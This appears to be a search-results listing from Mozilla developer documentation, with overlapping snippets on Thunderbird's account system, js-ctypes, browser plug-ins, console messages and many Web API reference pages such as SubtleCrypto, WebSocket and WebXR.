warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2003. by alec flett alecf@flett.org structure servers identities storage creating new accounts smtp servers appendix a: listing of all preferences and properties structure the account system consists of: the account manager (nsimsgaccountmanager): there is a single account manager in the the client, which maintains the list of accounts, servers, etc. it is also responsible for the creation of any new account-related objects. the account manager maintains the main list of accounts. accounts (nsimsgaccount): an account consists of a single incoming server, and one or more identities. an account is merely a container to bind incoming servers...
...ient, which maintains the list of accounts, servers, etc. it is also responsible for the creation of any new account-related objects. the account manager maintains the main list of accounts. accounts (nsimsgaccount): an account consists of a single incoming server, and one or more identities. an account is merely a container to bind incoming servers and identities together. incoming servers (nsimsgincomingserver): an incoming server represents a remote message store such as a pop, imap, or nntp server. it holds all the information necessary to retrieve mail from the remote server, such as hostname, user login name, and biff settings. identities (nsimsgidentity): an identity contains all the information necessary to compose and outgoing mail message. it includes a user's full name and e-ma...
...etc. the view shows a flat, unified view of all the servers. the above example would look like this: alecf on imap.mywork.com +- inbox +- trash +- (etc) alecf on pop.myisp.com +- inbox +- trash +- (etc) news.myisp.com +- comp.os.linux.announce +- etc.. news.mozilla.org +- netscape.public.mozilla.announce +- netscape.public.mozilla.mail-news relevant api calls: nsimsgaccount.incomingserver nsimsgaccountmanager.allservers: a list of all servers held by all accounts. identities identities are used in the compose window. if identities are shared between accounts, you will only see that identity once in the list. in the above example, the list of identities would be as follows: alec flett <alecf@mywork.com>) alec flett <alecf@myisp.com>) alec flett <alec...
...And 3 more matches
Add to iPhoto
close the library we opened using the js-ctypes api; that's where the shutdown() method comes in: shutdown: function() { this.lib.close(); } select api declarations let's take a look at a few of the key apis we declare for core foundation, to see how it's done. cfrange cfrange is a structure that identifies a range; that is, it identifies an offset to an item in a list and a number of items. in c, the declaration looks like this: typedef struct { cfindex location; cfindex length; } cfrange; to declare this for use with js-ctypes, we use the following code: this.cfrange = new ctypes.structtype("cfrange", [ {'location': ctypes.int32_t}, {'length': ctypes.int32_t}]); this defines corefoundation.cfrange to represent this data type,...
...hat build. cfmutablearray one thing about core foundation types that is interesting is the use of regular and mutable versions of the same data types. for example, the cfarray type describes an array, but cfarray objects can't be changed once they've been created. however, obviously there are cases in which you'll want to be able to manipulate the contents of an array by adding and removing items, sorting them, and so forth. that's where the cfmutablearray type comes into play. all cfarray functions accept cfmutablearray objects, so you can use cfmutablearray with any routine that accepts a cfarray as input, but cfmutablearray supports additional functions that let you change the contents of the array. there's nothing particularly interesting about how we declare this api, but it will be...
..., 1, corefoundation.kcftypearraycallbacks.address()); if (mutablearray) { var url = corefoundation.cfurlcreatefromfilesystemrepresentation(null, filepath, filepath.length, false); corefoundation.cfarrayappendvalue(mutablearray, url); corefoundation.cfrelease(url); // call launch services to open iphoto and deliver the image var ref = new carbon.struct_fsref; var appparams = appservices.struct_lsapplicationparameters(0, 1, ref.address(), null, null, null, null); var appstr = "file:///applications/iphoto.app"; var appstrcf = corefoundation.cfstringcreatewithcharacters(null, appstr, appstr.length); var appurl = corefoundation.cfurlcreatewithstring(null, appstrcf, null); corefoundation.cfrelease(appstrcf); var b = corefoundation.cfurlgetfsref(appu...
...And 3 more matches
Plug-in Basics - Plugins
ffer a rich variety of features that can increase the flexibility of gecko-based browsers. plug-ins like these are now available: multimedia viewers such as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins. with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that l...
... online help. how plug-ins work the life cycle of a plug-in, unlike that of an application, is completely controlled by the web page that calls it. this section gives you an overview of the way that plug-ins operate in the browser. when gecko starts, it looks for plugin modules in particular places on the system. for more information about where gecko looks for plugin modules on different systems, see how gecko finds plug-ins. when the user opens a page that contains embedded data of a media type that invokes a plug-in, the browser responds with the following sequence of actions: check for a plug-in with a matching mime type load the plug-in code into memory initialize the plug-in create a new instance of the plug-in gecko can load multiple instances of the same plug-in on a sing...
.../a> to see a movie."); } } else { // no, so tell them so document.writeln("sorry, can't show you this movie."); } overview of plug-in structure this section is an overview of basic information you will need as you develop plug-ins. understanding the plug-in api plug-ins and platform independence understanding the plug-in api a plug-in is a native code library whose source conforms to standard c syntax. the plug-in application programming interface (api) is made up of two groups of functions and a set of shared data structures. plug-in methods are functions that you implement in the plug-in; gecko calls these functions. the names of all the plug-in functions in the api begin with npp_, for example, npp_new. there are also a couple of functions (i.e., np_initialize and np...
...And 3 more matches
Console messages - Firefox Developer Tools
n is available, a disclosure triangle lets you display it, in an embedded panel that is identical to the network monitor request details. uri the target uri. summary the http version, response code, and time taken to complete. clicking the response code takes you to the reference page for that code. the context menu for network messages includes a few extra items in addition the globally-available ones: copy link location acts as you would expect, copying the url into the clipboard open in network panel switches context to the network tab, selects the request and shows you the details resend request sends the network request again. open url in new tab opens the url in a new browser tab. if the resource is an image, the image will be opened in ...
...t-security-report-only headers will be deprecated in the future. please use the content-security-policy and content-security-report-only headers with csp spec compliant syntax instead. see content security policy for more details. password fields present on an insecure (http://) page. this is a security risk that allows user login credentials to be stolen. pages containing login forms must be served over https, not http. password fields present in a form with an insecure (http://) form action. this is a security risk that allows user login credentials to be stolen. forms containing password fields must submit them over https, not http. password fields present on an insecure (http://) iframe. this is a security risk that allows user login credentials to be ...
... password fields present in a form with an insecure (http://) form action. this is a security risk that allows user login credentials to be stolen. forms containing password fields must submit them over https, not http. password fields present on an insecure (http://) iframe. this is a security risk that allows user login credentials to be stolen. iframes containing login forms must be served over https, not http. the site specified an invalid strict-transport-security header. see http strict transport security for more details. this site makes use of a sha-1 certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than sha-1. the site uses a certificate whose signature uses the s...
...And 3 more matches
CSSCounterStyleRule - Web APIs
dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">csscounterstylerule</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent cssrule. ...
...="middle" alignment-baseline="middle">csscounterstylerule</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent cssrule. csscounterstylerule.name is a domstring object that contains the serialization of the <counter-style-name> defined for the associated rule. csscounterstylerule.system is a domstring object that contains the serialization of the system descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.symbols is a domstring object that contains the serialization of the symbols descriptor defined for the associated rule. if the descriptor was not specified in the associated r...
...ociated rule. if the descriptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.symbols is a domstring object that contains the serialization of the symbols descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.additivesymbols is a domstring object that contains the serialization of the additive-symbols descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the attribute returns an empty string. csscounterstylerule.negative is a domstring object that contains the serialization of the negative descriptor defined for the associated rule. if the descriptor was not specified in the ...
...And 3 more matches
console.assert() - Web APIs
Web › API › Console › assert
the console.assert() method writes an error message to the console if the assertion is false. if the assertion is true, nothing happens. note: this feature is available in web workers. syntax console.assert(assertion, obj1 [, obj2, ..., objn]); console.assert(assertion, msg [, subst1, ..., substn]); // c-like message formatting parameters assertion any boolean expression. if the assertion is false, the message is written to the console. obj1 ... objn a list of javascript objects to output. the string representations of each of these objects are appended together in the order listed and output. msg a javascript string containing zero or more substitution strings. subst1 ... substn javascript objects with which to replace substitution strings within msg. this parameter gives yo...
...gether in the order listed and output. msg a javascript string containing zero or more substitution strings. subst1 ... substn javascript objects with which to replace substitution strings within msg. this parameter gives you additional control over the format of the output. ...
...bstitution strings within msg. this parameter gives you additional control over the format of the output. ...
...And 3 more matches
DataTransferItemList.DataTransferItem() - Web APIs
the returned value is never null. example this example shows how to use drag and drop. ...
... accessing items in the datatransferitemlist using array-style syntax (that is datatransferitem[index]). syntax dataitem = datatransferitem[index]; parameters index the zero-based index of the item in the drag data list to return. return value the datatransferitem object at the specified index in the item list. if the index is less than zero or greater than or equal to the number of items in the list (as indicated by the list's length property, undefined is returned. the returned value is never null. example this example shows how to use drag and drop. ...
...items in the list (as indicated by the list's length property, undefined is returned. the returned value is never null. example this example shows how to use drag and drop. javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...And 3 more matches
DataTransferItemList.length - Web APIs
the read-only length property of the datatransferitemlist interface returns the number of items currently in the drag item list. syntax length = datatransferitemlist.length; value the number of drag data items in the list, or 0 if the list is empty or disabled. the drag item list is considered to be disabled if the item list's datatransfer object is not associated with a drag data store. example this example shows the use of the length property. ...
...ist is considered to be disabled if the item list's datatransfer object is not associated with a drag data store. example this example shows the use of the length property. ...
... is not associated with a drag data store. example this example shows the use of the length property. javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...And 3 more matches
Document.getElementsByTagName() - Web APIs
which starts the search at a specific element within the dom tree. clicking the buttons uses getelementsbytagname() to count the descendant paragraph elements of a particular parent (either the document itself or one of two nested <div> elements). ...
...e document itself or one of two nested <div> elements). ...
...= document.getelementsbytagname('p'); var num = allparas.length; alert('there are ' + num + ' paragraph in this document'); } function div1paraelems() { var div1 = document.getelementbyid('div1'); var div1paras = div1.getelementsbytagname('p'); var num = div1paras.length; alert('there are ' + num + ' paragraph in #div1'); } function div2paraelems() { var div2 = document.getelementbyid('div2'); var div2paras = div2.getelementsbytagname('p'); var num = div2paras.length; alert('there are ' + num + ' paragraph in #div2'); } </script> </head> <body style="border: solid green 3px"> <p>some outer text</p> <p>some outer text</p> <div id="div1" style="border: solid blue 3px"> <p>some div1 text</p> <p>so...
...And 3 more matches
FederatedCredential - Web APIs
face may be passed in the credential member of the init object for global fetch. constructor federatedcredential() creates a new federatedcredential object. properties inherits properties from its ancestor, credential. federatedcredential.provider read only returns a usvstring containing a credential's federated identity provider. federatedcredential.protocol read only returns a domstring containing a credential's federated identity protocol. event handlers none. methods none. examples var cred = new federatedcredential({ id: id, name: name, provider: 'https://account.google.com', iconurl: iconurl }); // store it navigator.credentials.store(cred) .then(function() { // do something else. }); specifications specification status comment ...
...ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... opera full support yessafari ? webview android full support 51chrome android full support 51firefox android ? opera android ? safari ios ? samsung internet android full support 5.0federatedcredential() constructor non-standardchrome full support 51edge full support ≤79firefox ? ie ? opera ? safari ?
...And 3 more matches
FileSystem - Web APIs
this interface will not grant you access to the users filesystem. instead you will have a "virtual drive" within the browser sandbox. if you want to gain access to the users filesystem you need to invoke the user by eg. installing a chrome extension. ...
...w.requestfilesystem(). if that call is successful, it executes a callback handler, which receives as a parameter a filesystem object describing the file system. you can get it from a file system entry object, through its filesystem property. properties filesystem.name read only a usvstring representing the file system's name. this name is unique among the entire list of exposed file systems. filesystem.root read only a filesystemdirectoryentry object which represents the file system's root directory. through this object, you can gain access to all files and directories in the file system. specifications specification status comment file and directory entries apithe definition of 'filesystem' in that specification. draft browser compati...
...ecification. draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 3 more matches
FileSystemDirectoryEntry - Web APIs
ecification. draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 18alternate name full support 18alternate name alternate name uses the non-standard name: directoryentryfirefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitcreatereader experimentalchrome full support 13edge full support 79firefox full s...
... 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yesgetdirectory experimentalchrome full support 8edge full support 79firefox full support 50notes full support 50notes notes in firefox, the...
...And 3 more matches
GestureEvent - Web APIs
t the safari developer library. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...port 9webview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios full support 2samsung internet android no support nogestureevent() constructor non-standardchrome no support noedge no support nofirefox no support noie no support noopera no su...
...port 9webview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios full support 2samsung internet android no support noinitgestureevent non-standardchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...And 3 more matches
HTMLAnchorElement - Web APIs
ext x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlanchorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements those from htmlhyperlinkelementutils. element.accesskey is a domstring representing a single character that switches input focus to the hyperlink. htmlanchorelement.download is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser. the value represent the proposed name of the file. if the name is not a valid filename of the underlying os, browser will adapt it. htmlhyperlinkelementutils.hash is a...
... representing the hostname and port (if it's not the default port) in the referenced url. htmlhyperlinkelementutils.hostname is a usvstring representing the hostname in the referenced url. htmlhyperlinkelementutils.href is a usvstring that is the result of parsing the href html attribute relative to the document, containing a valid url of a linked resource. htmlanchorelement.hreflang is a domstring that reflects the hreflang html attribute, indicating the language of the linked resource. htmlanchorelement.media is a domstring that reflects the media html attribute, indicating the intended media for the linked resource. htmlhyperlinkelementutils.password is a usvstring containing the password specified before the domain name. htmlhyperlinkelementutils.origin read only returns a u...
...utils.pathname is a usvstring representing the path name component, if any, of the referenced url. htmlhyperlinkelementutils.port is a usvstring representing the port component, if any, of the referenced url. htmlhyperlinkelementutils.protocol is a usvstring representing the protocol component, including trailing colon (':'), of the referenced url. htmlanchorelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use. htmlanchorelement.rel is a domstring that reflects the rel html attribute, specifying the relationship of the target object to the linked object. htmlanchorelement.rellist read only returns a domtokenlist that reflects the rel html attribute, as a list of tokens. htmlhyperlinkelementutils.search is a usv...
...And 3 more matches
HTMLAreaElement - Web APIs
<text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlareaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements those from htmlhyperlinkelementutils. ...
...t-anchor="middle" alignment-baseline="middle">htmlareaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements those from htmlhyperlinkelementutils. element.accesskey is a domstring containing a single character that switches input focus to the control. htmlareaelement.alt is a domstring that reflects the alt html attribute, containing alternative text for the element. htmlareaelement.coords is a domstring that reflects the coords html attribute, containing coordinates to define the hot-spot region. htmlareaelement.download is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser. the value represent the propo...
...inkelementutils.host is a usvstring containing the hostname and port (if it's not the default port) in the referenced url. htmlhyperlinkelementutils.hostname is a usvstring containing the hostname in the referenced url. htmlhyperlinkelementutils.href is a usvstring containing that reflects the href html attribute, containing a valid url of a linked resource. htmlareaelement.hreflang is a domstring containing that reflects the hreflang html attribute, indicating the language of the linked resource. htmlareaelement.media is a domstring containing that reflects the media html attribute, indicating target media of the linked resource. htmlareaelement.nohref is a boolean flag indicating if the area is inactive (true) or active (false). htmlhyperlinkelementutils.password is a usvstr...
...And 3 more matches
HTMLInputElement.webkitdirectory - Web APIs
the selected file system entries can be obtained using the webkitentries property. ...
...lue value a boolean; true if the <input> element should allow picking only directories or false if only files should be selectable. understanding the results after the user makes a selection, each file object in files has its file.webkitrelativepath property set to the relative path within the selected directory at which the file is located. ...
...this makes it possible to know the hierarchy even though the filelist is flat. note: the behavior of webkitrelativepath is different in chromium < 72. see this bug for ...
...And 3 more matches
HTMLVideoElement - Web APIs
th="2px" /><text x="211" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlvideoelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its ancestor interfaces, htmlmediaelement, and htmlelement. htmlvideoelement.height is a domstring that reflects the height html attribute, which specifies the height of the display area, in css pixels. htmlvideoelement.poster is a domstring that reflects the poster html attribute, which specifies an image to show while no video data is available. htmlvideoelement.videoheight read only returns an unsigned integer value indicating the intrinsic height of the resource in css pixels, or...
...eo data is available. htmlvideoelement.videoheight read only returns an unsigned integer value indicating the intrinsic height of the resource in css pixels, or 0 if no media is available yet. htmlvideoelement.videowidth read only returns an unsigned integer value indicating the intrinsic width of the resource in css pixels, or 0 if no media is available yet. htmlvideoelement.width is a domstring that reflects the width html attribute, which specifies the width of the display area, in css pixels. gecko-specific properties htmlvideoelement.mozparsedframes read only returns an unsigned long with the count of video frames that have been parsed from the media resource. htmlvideoelement.mozdecodedframes read only returns an unsigned long with the count of parsed video frames t...
...y returns an unsigned long with the count of presented frames which were painted on the screen. htmlvideoelement.mozframedelay read only returns an double with the time which the last painted video frame was late by, in seconds. htmlvideoelement.mozhasaudio read only returns a boolean indicating if there is some audio associated with the video. ...
...And 3 more matches
IDBFactory.open() - Web APIs
Web › API › IDBFactory › open
if the operation is successful, a success event is fired on the request object that is returned from this method, with its result attribute set to the new idbdatabase object for the connection. if an error occurs while the database connection is being opened, then an error event is fired on the request object returned from this method. may trigger upgradeneeded, blocked or versionchange events. ...
... request to open a database, and include handlers for the success and error cases. for a full working example, see our to-do notifications app (view example live.) var note = document.queryselector("ul"); // in the following line, you should include the prefixes // of implementations you want to test. ...
...e, you should include the prefixes // of implementations you want to test. window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. ...
...And 3 more matches
MediaTrackConstraints - Web APIs
perties will exist on the object. this may be because a given browser doesn't support the property, or because it doesn't apply. for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid. properties of all media tracks deviceid a constraindomstring object specifying a device id or an array of device ids which are acceptable and/or required. groupid a constraindomstring object specifying a group id or an array of group ids which are acceptable and/or required. properties of audio tracks autogaincontrol a constrainboolean object which specifies whether automatic gain control is preferred and/or required. channelcount a constrai...
...a constraindouble (a double-precision integer) specifying the desired focal length. torch a boolean defining whether the fill light is continuously connected, meaning it stays on as long as the track is active. properties of video tracks aspectratio a constraindouble specifying the video aspect ratio or range of aspect ratios which are acceptable and/or required. facingmode a constraindomstring object specifying a facing or an array of facings which are acceptable and/or required. framerate a constraindouble specifying the frame rate or range of frame rates which are acceptable and/or required. height a constrainlong specifying the video height or range of heights which are acceptable and/or required. width a constrainlong specifying the video width or range of widths which a...
...hich are acceptable and/or required. framerate a constraindouble specifying the frame rate or range of frame rates which are acceptable and/or required. height a constrainlong specifying the video height or range of heights which are acceptable and/or required. width a constrainlong specifying the video width or range of widths which are acceptable and/or required. resizemode a constraindomstring object specifying a mode or an array of modes the ua can use to derive the resolution of a video track. allowed values are none and crop-and-scale. none means that the user agent uses the resolution provided by the camera, its driver or the os. crop-and-scale means that the user agent can use cropping and downscaling on the camera output in order to satisfy other constraints that affect the...
...And 3 more matches
MediaTrackSettings - Web APIs
following will be included in the object, either because it's not supported by the browser or because it's not available due to context. for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid. ...
...the group id is a browsing session-unique string identifying the source group of the track. two devices (as identified by the deviceid) are considered part of the same group if they are from the same physical device. ...
... 10 decimal places. this is the width of the image in pixels divided by its height in pixels. common values include 1.3333333333 (for the classic television 4:3 "standard" aspect ratio, also used on tablets such as apple's ipad), 1.7777777778 (for the 16:9 high-definition widescreen aspect ratio), and 1.6 (for the 16:10 aspect ratio common among widescreen computers and tablets). facingmode a domstring indicating the current value of the facingmode property, specifying the direction the camera is facing. the value will be one of: "user" a camera facing the user (commonly known as a "selfie cam"), used for self-portraiture and video calling. "environment" a camera facing away from the user (when the user is looking at the screen). this is typically the highest quality camera on th...
...And 3 more matches
NavigationPreloadManager - Web APIs
ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 62chrome android full support 62firefox android no support nonotes no support nonotes notes implementation tracked in bug 1290958opera android full support 46safari ios ? ...
... 62chrome android full support 62firefox android no support nonotes no support nonotes notes implementation tracked in bug 1290958opera android full support 46safari ios ? ...
...And 3 more matches
PhotoCapabilities - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ull support 46safari ? webview android full support 59chrome android full support 59firefox android ? opera android full support 43safari ios ? samsung internet android full support 7.0filllightmode experimentalchrome full support 59edge full support ≤79firefox ? ie ? opera full support 46safari ...
...ull support 46safari ? webview android full support 59chrome android full support 59firefox android ? opera android full support 43safari ios ? samsung internet android full support 7.0imageheight experimentalchrome full support 59edge full support ≤79firefox ? ie ? opera full support 46safari ...
...And 3 more matches
PushRegistrationManager - Web APIs
tus of the requesting webapp. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support nosafari ? webview android no support nochrome android no support nofirefox android ? opera android no support nosafari ios ? samsung internet android no support nogetregistration experimentaldeprecatedchrome no support noedge no support nofirefox ? ie no support noopera no support ...
... no support nosafari ? webview android no support nochrome android no support nofirefox android ? opera android no support nosafari ios ? samsung internet android no support nohaspermission experimentaldeprecatedchrome no support noedge no support nofirefox ? ie no support noopera no support ...
...And 3 more matches
RTCDataChannel.readyState - Web APIs
begun. it is no longer possible to queue new messages to be sent, but previously queued messages may still be send or received before entering the "closed" state. "closed" the underlying data transport has closed, or the attempt to make the connection failed. ...
...received before entering the "closed" state. "closed" the underlying data transport has closed, or the attempt to make the connection failed. ...
...e "closed" state. "closed" the underlying data transport has closed, or the attempt to make the connection failed. ...
...And 3 more matches
RTCStatsType - Web APIs
ringstate to new during an ice restart. the active candidate pair is deleted after the transport switches to another candidate pair; this change cannot be detected otherwise. certificate an rtccertificatestats object providing statistics related to a certificate being used by an rtcicetransport. ...
...since this only provides statistics related to inbound data, without considering the local peer's state, any values that require knowledge of both, such as round-trip time, is not included. this report isn't available if there are no connected peers. ...
...e local peer's state, any values that require knowledge of both, such as round-trip time, is not included. this report isn't available if there are no connected peers. local-candidate an rtcicecandidatestats object giving statistics about an ice local candidate; these candidates are found in the output from rtcicetransport.getlocalcandidates(). outbound-rtp the report is an rtcoutboundrtpstreamstats object providing statistics based on the local peer's outgoing data being sent to its peers. this information considers only the outbound rtp stream, so any data which requires information about the state of the remote peers (such as round-trip time) is unavailable, since those values can't be computed without knowing about the other peers' states. peer-connection a rtcpeerconnectionstats o...
...And 3 more matches
SVGLength - Web APIs
Web › API › SVGLength
lt in an exception being thrown. ...
...oat valueinspecifiedunits) void converttospecifiedunits(in unsigned short unittype) properties readonly unsigned short unittype float value float valueinspecifiedunits domstring valueasstring constants svg_lengthtype_unknown = 0 svg_lengthtype_number = 1 svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascr...
... is not one of predefined unit types. it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. svg_lengthtype_number 1 no unit type was provided (i.e., a unitless value was specified), which indicates a value in user units. svg_lengthtype_percentage 2 a percentage value was specified. svg_lengthtype_ems 3 a value was specified using the em units defined in css2. svg_lengthtype_exs 4 a value was specified using the ex units defined in css2. svg_lengthtype_px 5 a value was specified using the px units defined in css2. svg_lengthtype_cm 6 a value was specified using the cm units defined in css2. svg_lengthtype_mm 7 a value was specif...
...And 3 more matches
SubtleCrypto.deriveKey() - Web APIs
the derivekey() method of the subtlecrypto interface can be used to derive a secret key from a master key. it takes as arguments some initial key material, the derivation algorithm to use, and the desired properties for the key to derive. it returns a promise which will be fulfilled with a cryptokey object representing the new key. it's worth noting that the three key derivation algorithms you can use have quite different characteristics and are appropriate in quite different situations. see supported algorithms for some more detail on this. syntax const result = crypto.subtle.derivekey( algorithm, basekey, derivedkeyalgorithm, extractable, keyusages ); parameters algorithm is an object defining the derivation algorithm to use. to use ecdh, pass an ecdh...
... basekey is a cryptokey representing the input to the derivation algorithm. if algorithm is ecdh, then this will be the ecdh private key. ...
... basekey is a cryptokey representing the input to the derivation algorithm. if algorithm is ecdh, then this will be the ecdh private key. ...
...And 3 more matches
SubtleCrypto - Web APIs
fulfills with a boolean value indicating if the signature given as a parameter matches the text, algorithm, and key that are also given as parameters. subtlecrypto.digest() returns a promise that fulfills with a digest generated from the algorithm and text given as parameters. subtlecrypto.generatekey() returns a promise that fulfills with a newly-generated cryptokey, for symmetrical algorithms, or a cryptokeypair, containing two newly generated keys, for asymmetrical algorithms. these will match the algorithm, usages, and extractability given as parameters. subtlecrypto.derivekey() returns a promise that fulfills with a newly generated cryptokey derived from the master key and specific algorithm given as parameters. subtlecrypto.derivebits() returns a promise that fulfills with a n...
...ample, you want to derive an encryption key from a password and later derive the same key from the same password to decrypt the data. importing and exporting keys to make keys available outside your app, you need to export the key, and that's what exportkey() is for. you can choose one of a number of export formats. the inverse of exportkey() is importkey(). you can import keys from other systems, and support for standard formats like pkcs #8 and json web key helps you do this. the exportkey() function exports the key in an unencrypted format. if the key is sensitive you should use wrapkey(), which exports the key and then encrypts it using another key; the api calls a "key-wrapping key". the inverse of wrapkey() is unwrapkey(), which decrypts then imports the key. storing keys crypto...
... the api calls a "key-wrapping key". the inverse of wrapkey() is unwrapkey(), which decrypts then imports the key. storing keys cryptokey objects can be stored using the structured clone algorithm, meaning that you can store and retrieve them using standard web storage apis. the specification expects that most developers will use the indexeddb api to store cryptokey objects. ...
...And 3 more matches
VRStageParameters - Web APIs
the vrstageparameters interface of the webvr api represents the values describing the the stage area for devices that support room-scale experiences. this interface is accessible through the vrdisplay.stageparameters property. properties vrstageparameters.sittingtostandingtransform read only contains a matrix that transforms the sitting-space view matrices of vrframedata to standing-space. ...
...ing-space view matrices of vrframedata to standing-space. vrstageparameters.sizex read only returns the width of the play-area bounds in meters. vrstageparameters.sizey read only returns the depth of the play-area bounds in meters. ...
...ding-space. vrstageparameters.sizex read only returns the width of the play-area bounds in meters. vrstageparameters.sizey read only returns the depth of the play-area bounds in meters. ...
...And 3 more matches
Writing WebSocket client applications - Web APIs
et.send("here's some text that the server is urgently awaiting!"); }; using json to transmit objects one handy thing you can do is use json to send reasonably complex data to the server. ...
...cts one handy thing you can do is use json to send reasonably complex data to the server. for example, a chat program can interact with a server using a protocol implemented using packets of json-encapsulated data: // send text to all users through the server function sendtext() { // construct a msg object containing the data the server needs to process the message from the chat client. var msg = { type: "message", text: document.getelementbyid("text").value, id: clientid, date: date.now() }; // send the msg object as a json-formatted string. examplesocket.send(json.stringify(msg)); // blank the text input element, ready to receive the next line of text from the user. document.getelementbyid("text").value = ""; } receiving messages from the server webso...
...ient application first alluded to in using json to transmit objects. ...
...And 3 more matches
Geometry and reference spaces in WebXR - Web APIs
formance issues. this means that the time will usually step in 1/60th of a second intervals, assuming a 60 fps frame rate. doing the math, we find that this means that each frame will ideally be rendered 16.6667 milliseconds apart. geometry operations with matrices we offer a guide to matrix mathematics as it pertains to 3d geometry, including how matrices are used for the three primary transforms that need to be performed when rendering 3d scenes: translation is the use of a matrix to shift the position of a point through the virtual space. this motion can be along any of the object's axes, or any combination of them. rotation is the application of a matrix that rotates a point around the origin of the object's coordinate system. scaling is the use of a matrix to alter the size of an...
...matrix to alter the size of an object. note that when we say that a transform applies to a point, it also, by extension, can be applied to a collection of points. since an object is represented by some number of polygons made up of a number of points in space, applying the same transform to every point that makes up the object will apply that same transform to the entire object overall. transforms can also be applied to vectors, since vectors are described using a coordinate value to define the direction and magnitude of the vector. on the origins of spaces a complete xr-enhanced scene—whether virtual or augmented—is a composite of anywhere from one to potentially dozens of frames of reference. each object within the scene that needs to directly exchange position and orientation data...
...ference spaces the reference space types with -floor in their names work just like the corresponding non-floor spaces, except that they attempt to automatically ensure that the viewer is positioned in a safe place at or near (but always above) ground level. this is the plane at which the y coordinate is always 0, unless a floor is otherwise established. these space types are not viable if the rooms have uneven floors or floors whose height above ground level vary, since they don't support the avatar's vertical position changing. the primary reference space types the viewer reference space corresponds to the viewer's position in space; it's used by the xrviewerpose returned by the xrframe method getviewerpose(). it's not typically used directly otherwise. the only real exception is that yo...
...And 3 more matches
Migrating from webkitAudioContext - Web APIs
